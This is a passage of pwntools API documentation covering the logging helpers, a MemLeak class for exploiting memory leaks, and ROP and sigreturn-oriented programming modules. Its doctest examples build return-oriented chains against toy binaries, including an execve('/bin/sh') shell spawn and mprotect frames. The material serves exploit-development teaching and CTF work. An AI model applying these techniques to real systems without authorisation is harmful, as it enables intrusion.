`pwnlib.log.`**`install_default_handler`**`()`

Instantiates a *`Handler`* and *`Formatter`* and installs them for the `pwnlib` root logger. This function is automatically called from when importing *`pwn`*.

class `pwnlib.log.`**`Progress`**`(`*logger*, *msg*, *status*, *level*, *args*, *kwargs*`)`

Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After *`success()`* or *`failure()`* is called the status can no longer be updated.

This class is intended for internal use. Progress loggers should be created using *`Logger.progress()`*.

`status``(`*status*, **args*, ***kwargs*`)`

Logs a status update for the running job.

If the progress logger is animated the status line will be updated in place.

Status updates are throttled at one update per 100ms.

`success``(`*status = 'Done'*, **args*, ***kwargs*`)`

Logs that the running job succeeded. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

failure (*message*)
Logs that the running job failed. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

class pwnlib.log.**Logger** (*logger=None*)
A class akin to the logging.LoggerAdapter class. All public methods defined on logging.Logger instances are defined on this class.

Also adds some pwnlib flavor:

- *progress()* (alias *waitfor()*)
- *success()*
- *failure()*
- *indented()*
- *info_once()*
- *warning_once()* (alias *warn_once()*)

Adds pwnlib-specific information for coloring, indentation and progress logging via log records extra field.

Loggers instantiated with getLogger() will be of this class.

progress (*message*, *status = ‘’*, **args*, *level = logging.INFO*, ***kwargs*) → Progress
Creates a new progress logger which creates log records with log level *level*.

Progress status can be updated using *Progress.status()* and stopped using *Progress.success()* or *Progress.failure()*.

If *term.term_mode* is enabled the progress logger will be animated.

The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```
with log.progress('Trying something...') as p:
    for i in range(10):
        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

waitfor (**args*, ***kwargs*)
Alias for *progress()*.

indented (*message*, **args*, *level = logging.INFO*, ***kwargs*)
Log a message but don’t put a line prefix on it.

Parameters **level** (*int*) – Alternate log level at which to set the indented message. Defaults to logging.INFO.

success (*message*, **args*, ***kwargs*)
Logs a success message.

failure (*message*, **args*, ***kwargs*)
Logs a failure message.

info_once (*message*, **args*, ***kwargs*)
Logs an info message. The same message is never printed again.

warning_once (*message*, **args*, ***kwargs*)
Logs a warning message. The same message is never printed again.

warn_once (**args*, ***kwargs*)
Alias for `warning_once()`.

debug (*message*, **args*, ***kwargs*)
Logs a debug message.

info (*message*, **args*, ***kwargs*)
Logs an info message.

warning (*message*, **args*, ***kwargs*)
Logs a warning message.

warn (**args*, ***kwargs*)
Alias for `warning()`.

error (*message*, **args*, ***kwargs*)
To be called outside an exception handler.

Logs an error message, then raises a `PwnlibException`.

exception (*message*, **args*, ***kwargs*)
To be called from an exception handler.

Logs a error message, then re-raises the current exception.

critical (*message*, **args*, ***kwargs*)
Logs a critical message.

log (*level*, *message*, **args*, ***kwargs*)
Logs a message with log level *level*. The `pwnlib` formatter will use the default `logging` formater to format this message.

isEnabledFor (*level*) → bool
See if the underlying logger is enabled for the specified level.

setLevel (*level*)
Set the logging level for the underlying logger.

addHandler (*handler*)
Add the specified handler to the underlying logger.

removeHandler (*handler*)
Remove the specified handler from the underlying logger.

class `pwnlib.log.`**Handler** (*stream=None*)
A custom handler class. This class will report whatever `context.log_level` is currently set to as its log level.

If `term.term_mode` is enabled log records originating from a progress logger will not be emitted but rather an animated progress line will be created.

This handler outputs to `sys.stderr`.

An instance of this handler is added to the `'pwnlib'` logger.

emit (*record*)
Emit a log record or create/update an animated progress logger depending on whether `term.term_mode` is enabled.

class `pwnlib.log.`**Formatter** (*fmt=None*, *datefmt=None*)
Logging formatter which performs custom formatting for log records containing the `'pwnlib_msgtype'` attribute. Other records are formatted using the *logging* modules default formatter.

If `'pwnlib_msgtype'` is set, it performs the following actions:

- A prefix looked up in *_msgtype_prefixes* is prepended to the message.
- The message is prefixed such that it starts on column four.
- If the message spans multiple lines they are split, and all subsequent lines are indented.

This formatter is used by the handler installed on the `'pwnlib'` logger.

2.14 `pwnlib.memleak` — Helper class for leaking memory

class `pwnlib.memleak.`**`MemLeak`**(*f*, *search_range=20*, *reraise=True*)

MemLeak is a caching and heuristic tool for exploiting memory leaks.

It can be used as a decorator, around functions of the form:

def some_leaker(addr): ... return data_as_string_or_None

It will cache leaked memory (which requires either non-randomized static data or a continouous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

Parameters

- **`f`** (`function`) – The leaker function.
- **`search_range`** (*`int`*) – How many bytes to search backwards in case an address does not work.
- **`reraise`** (*`bool`*) – Whether to reraise call `pwnlib.log.warning()` in case the leaker function throws an exception.

Example

```
>>> import pwnlib
>>> binsh = pwnlib.util.misc.read('/bin/sh')
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     print "leaking 0x%x" % addr
...     return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
'\x7fELF'
>>> leaker[:4]
'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwnlib.memleak.MemLeak
... def leaker_nonulls(addr):
...     print "leaking 0x%x" % addr
...     if addr & 0xff == 0:
...         return None
...     return binsh[addr:addr+4]
```

```
>>> leaker_nonulls.d(0) == None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
leaking 0x100
leaking 0xff
leaking 0x103
True
```

static NoNewlines (*function*)

Wrapper for leak functions such that addresses which contain newline bytes are not leaked.

This is useful if the address which is used for the leak is provided by e.g. `fgets()`.

static NoNulls (*function*)

Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.

This is useful if the address which is used for the leak is read in via a string-reading function like `scanf("%s")` or smilar.

static NoWhitespace (*function*)

Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.

This is useful if the address which is used for the leak is read in via e.g. `scanf()`.

static String (*function*)

Wrapper for leak functions which leak strings, such that a NULL terminator is automaticall added.

This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. `printf()`.

b (*addr*, *ndx = 0*) → int

Leak byte at `((uint8_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

clearb (*addr*, *ndx = 0*) → int

Clears byte at `((uint8_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a'}
>>> l.n(0,1) == 'a'
True
>>> l.clearb(0) == unpack('a', 8)
True
>>> l.cache
```

```
{}
>>> l.clearb(0) is None
True
```

cleard(*addr*, *ndx = 0*) → int

Clears dword at `((uint32_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a', 1: 'b', 2: 'c', 3: 'd'}
>>> l.n(0, 4) == 'abcd'
True
>>> l.cleard(0) == unpack('abcd', 32)
True
>>> l.cache
{}
```

clearq(*addr*, *ndx = 0*) → int

Clears qword at `((uint64_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: '')
>>> c.cache = {x:'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack('xxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw(*addr*, *ndx = 0*) → int

Clears word at `((uint16_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a', 1: 'b'}
>>> l.n(0, 2) == 'ab'
True
>>> l.clearw(0) == unpack('ab', 16)
True
>>> l.cache
{}
```

d(*addr*, *ndx = 0*) → int

Leak dword at `((uint32_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack('abcd', 32)
True
>>> l.d(22) == unpack('wxyz', 32)
True
>>> l.d(23) is None
True
```

field (*address*, *obj*)

field(address, field) => a structure field.

Leak a field from a structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of `field`.

field_compare (*address*, *obj*, *expected*)

field_compare(address, field, expected) ==> bool

Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field
- **expected** (*int, str*) – Expected value

Return Value: The type of the return value will be dictated by the type of `field`.

n (*addr*, *ndx = 0*) → str

Leak *numb* bytes at *addr*.

Returns A string with the leaked bytes, will return *None* if any are missing

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.n(0,1) == 'a'
True
>>> l.n(0,26) == data
True
>>> len(l.n(0,26)) == 26
True
>>> l.n(0,27) is None
True
```

p(*addr*, *ndx = 0*) → int
Leak a pointer-width value at `((void**) addr)[ndx]`

q(*addr*, *ndx = 0*) → int
Leak qword at `((uint64_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack('abcdefgh', 64)
True
>>> l.q(18) == unpack('stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

raw(*addr*, *numb*) → list
Leak *numb* bytes at *addr*

s(*addr*) → str
Leak bytes at *addr* until failure or a nullbyte is found

Returns A string, without a NULL terminator. The returned string will be empty if the first byte is a NULL terminator, or if the first byte could not be retrieved.

Examples

```
>>> data = "Hello\x00World"
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.s(0) == "Hello"
True
>>> l.s(5) == ""
True
>>> l.s(6) == "World"
True
>>> l.s(999) == ""
True
```

setb(*addr*, *val*, *ndx=0*)
Sets byte at `((uint8_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: 'A'}
True
```

setd(*addr*, *val*, *ndx=0*)
Sets dword at `((uint32_t*)addr)[ndx]` to *val* in the cache.

Examples

See `setw()`.

setq (*addr*, *val*, *ndx=0*)
Sets qword at `((uint64_t*)addr)[ndx]` to *val* in the cache.

Examples

See `setw()`.

sets (*addr*, *val*, *null_terminate=True*)
Set known string at *addr*, which will be optionally be null-terminated

Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.sets(0, 'H\x00ello')
>>> l.cache == {0: 'H', 1: '\x00', 2: 'e', 3: 'l', 4: 'l', 5: 'o', 6: '\x00'}
True
```

setw (*addr*, *val*, *ndx=0*)
Sets word at `((uint16_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: 'A', 34: '\x00'}
True
```

struct (*address*, *struct*)
struct(address, struct) => structure object Leak an entire structure. :param address: Addess of structure in memory :type address: int :param struct: A ctypes structure to be instantiated with leaked data :type struct: class

Return Value: An instance of the provided struct class, with the leaked data decoded

w (*addr*, *ndx = 0*) → int
Leak word at `((uint16_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack('ab', 16)
```

```
        True
        >>> l.w(24) == unpack('yz', 16)
        True
        >>> l.w(25) is None
        True
```

2.15 pwnlib.replacements — Replacements for various functions

Improved replacements for standard functions

pwnlib.replacements.**sleep**(*n*)

Replacement for time.sleep(), which does not return if a signal is received.

Parameters **n** (*int*) – Number of seconds to sleep.

2.16 pwnlib.rop — Return Oriented Programming

2.16.1 Submodules

pwnlib.rop.rop — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack('abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:           'eaaa' <pad>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:       0x10000000 <adjust: add esp, 0x10; ret>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
0x0020:           'iaaa' <pad>
0x0024:        0xdecafbad write(7, 8, 9)
0x0028:       0x10000000 <adjust: add esp, 0x10; ret>
0x002c:              0x7 arg0
0x0030:              0x8 arg1
0x0034:              0x9 arg2
0x0038:           'oaaa' <pad>
0x003c:       0xfeedface exit()
0x0040:           'qaaa' <pad>
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice "write" function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary   = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print rop.dump()
0x0000:       0x10000012 write(STDOUT_FILENO, 268435494, 8)
0x0004:       0x1000000e <adjust: add esp, 0x10; ret>
0x0008:              0x1 arg0
0x000c:       0x10000026 flag
0x0010:              0x8 arg2
0x0014:           'faaa' <pad>
0x0018:       0x1000002f exit()
0x001c:           'haaa' <pad>
```

The raw data from the ROP stack is available via *str*.

```
>>> raw_rop = str(rop)
>>> print enhex(raw_rop)
120000100e000010010000002600001008000000666161612f00001068616161
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print p.recvall(timeout=5)
The flag
```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a *int 0x80* gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary    = ELF.from_assembly(assembly)
```

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop   = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print rop.dump()
0x0000:       0x1000000e pop eax; ret
0x0004:             0x77
0x0008:       0x1000000b int 0x80
0x000c:              0x0 gs
0x0010:              0x0 fs
0x0014:              0x0 es
0x0018:              0x0 ds
0x001c:              0x0 edi
0x0020:              0x0 esi
0x0024:              0x0 ebp
0x0028:              0x0 esp
0x002c:       0x10000012 ebx = binsh
0x0030:              0x0 edx
0x0034:              0x0 ecx
0x0038:              0xb eax
0x003c:              0x0 trapno
0x0040:              0x0 err
0x0044:       0x1000000b int 0x80
0x0048:             0x23 cs
0x004c:              0x0 eflags
0x0050:              0x0 esp_at_signal
0x0054:             0x2b ss
0x0058:              0x0 fpstate
```

Let’s try it out!

```
>>> p = process(binary.path)
>>> p.send(str(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

class `pwnlib.rop.rop.`**`ROP`**(*elfs*, *base=None*, ***kwargs*)

Class which simplifies the generation of ROP-chains.

Example:

```
    elf = ELF('ropasaurusrex')
    rop = ROP(elf)
    rop.read(0, elf.bss(0x80))
    rop.dump()
    # ['0x0000:        0x80482fc (read)',
    #  '0x0004:       0xdeadbeef',
    #  '0x0008:              0x0',
    #  '0x000c:        0x80496a8']
    str(rop)
    # '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
```

```
    >>> context.clear(arch = "i386", kernel = 'amd64')
    >>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
    >>> e = ELF.from_assembly(assembly)
    >>> e.symbols['funcname'] = e.address + 0x1234
    >>> r = ROP(e)
    >>> r.funcname(1, 2)
    >>> r.funcname(3)
    >>> r.execve(4, 5, 6)
    >>> print r.dump()
```

```
0x0000:       0x10001234 funcname(1, 2)
0x0004:       0x10000003 <adjust: add esp, 0x10; ret>
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:           'eaaa' <pad>
0x0014:           'faaa' <pad>
0x0018:       0x10001234 funcname(3)
0x001c:       0x10000007 <adjust: pop eax; ret>
0x0020:              0x3 arg0
0x0024:       0x10000007 pop eax; ret
0x0028:             0x77
0x002c:       0x10000000 int 0x80
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:              0xb eax
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:       0x10000000 int 0x80
0x006c:             0x23 cs
0x0070:              0x0 eflags
0x0074:              0x0 esp_at_signal
0x0078:             0x2b ss
0x007c:              0x0 fpstate
```

```
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print r.dump()
0x8048000:       0x10001234 funcname(1, 2)
0x8048004:       0x10000003 <adjust: add esp, 0x10; ret>
0x8048008:              0x1 arg0
0x804800c:              0x2 arg1
0x8048010:           'eaaa' <pad>
0x8048014:           'faaa' <pad>
0x8048018:       0x10001234 funcname(3)
0x804801c:       0x10000007 <adjust: pop eax; ret>
0x8048020:              0x3 arg0
0x8048024:       0x10000007 pop eax; ret
0x8048028:             0x77
0x804802c:       0x10000000 int 0x80
0x8048030:              0x0 gs
0x8048034:              0x0 fs
0x8048038:              0x0 es
0x804803c:              0x0 ds
0x8048040:              0x0 edi
0x8048044:              0x0 esi
0x8048048:              0x0 ebp
0x804804c:        0x8048080 esp
```

```
    0x8048050:              0x4 ebx
    0x8048054:              0x6 edx
    0x8048058:              0x5 ecx
    0x804805c:              0xb eax
    0x8048060:              0x0 trapno
    0x8048064:              0x0 err
    0x8048068:       0x10000000 int 0x80
    0x804806c:             0x23 cs
    0x8048070:              0x0 eflags
    0x8048074:              0x0 esp_at_signal
    0x8048078:             0x2b ss
    0x804807c:              0x0 fpstate
```

align = 4

Alignment of the ROP chain; generally the same as the pointer size

base = 0

Stack address where the first byte of the ROP chain lies, if known.

build(*base=None*, *description=None*)

Construct the ROP chain into a list of elements which can be passed to `pwnlib.util.packing.flat`.

Parameters

- **base** (`int`) – The base address to build the rop-chain from. Defaults to `base`.
- **description** (`dict`) – Optional output argument, which will gets a mapping of `address: description` for each address on the stack, starting at `base`.

call(*resolvable*, *arguments=()*, *abi=None*, ***kwargs*)

Add a call to the ROP chain

Parameters

- **resolvable** (`str, int`) – Value which can be looked up via 'resolve', or is already an integer.
- **arguments** (`list`) – List of arguments which can be passed to pack(). Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain()

Build the ROP chain

Returns str containing raw ROP bytes

describe(*object*)

Return a description for an object in the ROP stack

dump()

Dump the ROP chain in an easy-to-read manner

elfs = []

List of ELF files which are available for mining gadgets

find_gadget(*instructions*)

Returns a gadget with the exact sequence of instructions specified in the `instructions` argument.

generatePadding(*offset*, *count*)

Generates padding to be inserted into the ROP stack.

migrate(*next_base*)

Explicitly set $sp, by using a `leave; ret` gadget

migrated = False
Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

raw(*value*)
Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters **data** (`int/str`) – The raw value to put onto the rop chain.

resolve(*resolvable*)
Resolves a symbol to an address

Parameters **resolvable** (`str, int`) – Thing to convert into an address

Returns int containing address of 'resolvable', or None

search(*move=0*, *regs=None*, *order='size'*)
Search for a gadget which matches the specified criteria.

Parameters

- **move** (`int`) – Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (`list`) – Minimum list of registers which are popped off the stack.
- **order** (`str`) – Either the string 'size' or 'regs'. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

Returns A `pwnlib.rop.gadgets.Gadget` object

search_iter(*move=None*, *regs=None*)
Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

setRegisters(*registers*)
Returns an OrderedDict of addresses/values which will set the specified register context.

Parameters **registers** (`dict`) – Dictionary of `{register name: value}`

Returns An OrderedDict of `{register: sequence of gadgets, values, etc.}`.

unresolve(*value*)
Inverts 'resolve'. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters **value** (`int`) – Address to look up

Returns String containing the symbol name for the address, disassembly for a gadget (if there's one at that address), or an empty string.

`pwnlib.rop.srop` — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

i386 Example:

Let's just print a message out using SROP.

```
>>> message = "Hello, World"
```

First, we'll create our example binary. It just reads some data onto the stack, and invokes the `sigreturn` syscall. We also make an `int 0x80` gadget available, followed immediately by `exit(0)`.

```
>>> context.clear(arch='i386')
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'xor ebx, ebx; mov eax, 1; int 0x80;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
```

Let's construct our frame to have it invoke a `write` syscall, and dump the message to stdout.

```
>>> frame = SigreturnFrame(kernel='amd64')
>>> frame.eax = constants.SYS_write
>>> frame.ebx = constants.STDOUT_FILENO
>>> frame.ecx = binary.symbols['message']
>>> frame.edx = len(message)
>>> frame.esp = 0xdeadbeef
>>> frame.eip = binary.symbols['syscall']
```

Let's start the process, send the data, and check the message.

```
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

amd64 Example:

```
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

arm Example:

```
>>> context.clear()
>>> context.arch = "arm"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

Mips Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + shellcraft.exit(0)
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

Mipsel Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + shellcraft.exit(0)
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

class `pwnlib.rop.srop.`**`SigreturnFrame`**(**a*, ***kw*)

Crafts a sigreturn frame with values that are loaded up into registers.

Parameters **`arch`** (*`str`*) – The architecture. Currently `i386` and `amd64` are supported.

Examples

Crafting a SigreturnFrame that calls mprotect on amd64

```
>>> context.clear(arch='amd64')
>>> s = SigreturnFrame()
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 0, 0, 0, 0, 0, 0, 0]
>>> assert len(s) == 248
>>> s.rax = 0xa
>>> s.rdi = 0x00601000
>>> s.rsi = 0x1000
>>> s.rdx = 0x7
>>> assert len(str(s)) == 248
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6295552, 4096, 0, 0, 7, 10, 0, 0, 0, 0, 51, 0, 0, 0, 0,
```

Crafting a SigreturnFrame that calls mprotect on i386

```
>>> context.clear(arch='i386')
>>> s = SigreturnFrame(kernel='i386')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
>>> assert len(s) == 80
>>> s.eax = 125
>>> s.ebx = 0x00601000
>>> s.ecx = 0x1000
>>> s.edx = 0x7
>>> assert len(str(s)) == 80
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]
```

Crafting a SigreturnFrame that calls mprotect on ARM

```
>>> s = SigreturnFrame(arch='arm')
>>> unpack_many(str(s))
